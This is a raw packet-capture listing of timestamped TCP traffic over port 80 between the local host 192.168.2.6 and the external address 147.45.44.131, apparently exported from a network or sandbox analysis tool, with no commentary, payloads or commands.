Jan 2, 2025 19:14:17.279985905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.279998064 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280003071 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.280003071 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.280004025 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280009985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280016899 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280029058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280040979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280046940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280051947 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.280054092 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280060053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280065060 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280071020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280073881 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.280077934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280081987 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.280170918 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280170918 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.280175924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280181885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280186892 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280191898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280198097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280203104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280280113 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.280280113 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.280370951 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280378103 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280385017 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280391932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280424118 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.280508995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280520916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280528069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280533075 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280539036 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280544043 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280550003 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280556917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280561924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280567884 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280574083 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280579090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280580044 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.280585051 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280590057 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280596018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280601978 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.280647039 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.280693054 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.280936956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280944109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280977964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280982018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280987978 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.280999899 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.281004906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.281009912 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.281012058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.281018019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.281023979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.281040907 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.281054974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.281081915 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.282787085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.282793999 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.282799959 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.282907009 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.282917023 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.282934904 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.282941103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.282947063 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.282953024 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.282959938 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.282967091 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.282980919 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283030033 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.283032894 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283039093 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283045053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283063889 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.283066034 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283071041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283077002 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283104897 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.283142090 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.283142090 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.283258915 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283265114 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283271074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283287048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283293962 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283340931 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283346891 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283348083 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.283348083 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.283353090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283358097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283365011 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283381939 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.283454895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283461094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283467054 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283472061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283473969 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.283485889 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283490896 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283497095 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283502102 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283509970 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.283539057 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.283539057 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.283555031 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.284274101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284279108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284339905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284347057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284360886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284367085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284369946 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.284393072 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.284427881 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284437895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284445047 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284482956 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.284504890 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284509897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284516096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284523010 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.284674883 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284681082 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284687042 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284698009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284703970 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284708977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284714937 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284718037 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.284732103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284744024 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284744978 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.284744978 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.284750938 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284755945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284780979 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.284882069 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284888029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284893990 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284899950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284905910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284912109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284917116 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.284943104 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.284943104 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.284956932 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.284957886 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.293303967 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293319941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293327093 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293333054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293340921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293446064 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.293456078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293473959 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293479919 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293484926 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293492079 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293498039 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293504000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293509960 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293515921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293519974 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293538094 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.293559074 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.293626070 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.293806076 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293812990 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293818951 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293879986 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293884039 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.293884039 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.293885946 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.293950081 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294063091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294212103 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294218063 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294224024 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294235945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294241905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294246912 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294253111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294258118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294264078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294269085 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294272900 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294276953 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294282913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294289112 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294296980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294301987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294308901 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294316053 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294344902 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294348955 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294354916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294380903 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294426918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294434071 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294450998 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294527054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294533014 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294539928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294544935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294549942 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294555902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294562101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294573069 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294579029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294584036 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294586897 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294586897 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294648886 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294672012 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294724941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294732094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294792891 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294882059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294887066 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294893980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294904947 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294910908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294915915 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294922113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294926882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294930935 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294934034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294940948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294945955 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.294970036 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294970036 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.294992924 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.295109034 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.296062946 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296124935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296129942 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296135902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296142101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296155930 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296161890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296168089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296190977 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.296279907 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.296400070 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296488047 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296494007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296499968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296504974 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296516895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296521902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296528101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296566010 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.296601057 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.296835899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296870947 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296875000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296880960 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296916008 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296921015 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296957970 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.296989918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.296994925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297000885 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.297003031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297008038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297060966 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.297061920 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.297727108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297733068 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297738075 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297750950 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297759056 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297765970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297771931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297777891 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297810078 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.297882080 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.297898054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297914028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297919035 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297924995 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297974110 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297980070 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.297986031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298012972 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.298033953 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298051119 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.298137903 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298144102 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298150063 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298161030 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298166990 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298171997 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298177958 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.298177958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298188925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298202038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298206091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298211098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298214912 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.298218966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298228979 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.298235893 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298249006 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298257113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298260927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.298263073 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.298281908 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.298290968 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.298376083 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.324068069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.324075937 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.324081898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.324088097 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.324094057 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.324100018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.324105978 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.324141979 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.324213028 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.340306044 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340320110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340326071 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340331078 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340337992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340342999 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340349913 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340364933 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340370893 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340375900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.340400934 CET	49728	80	192.168.2.6	147.45.44.131
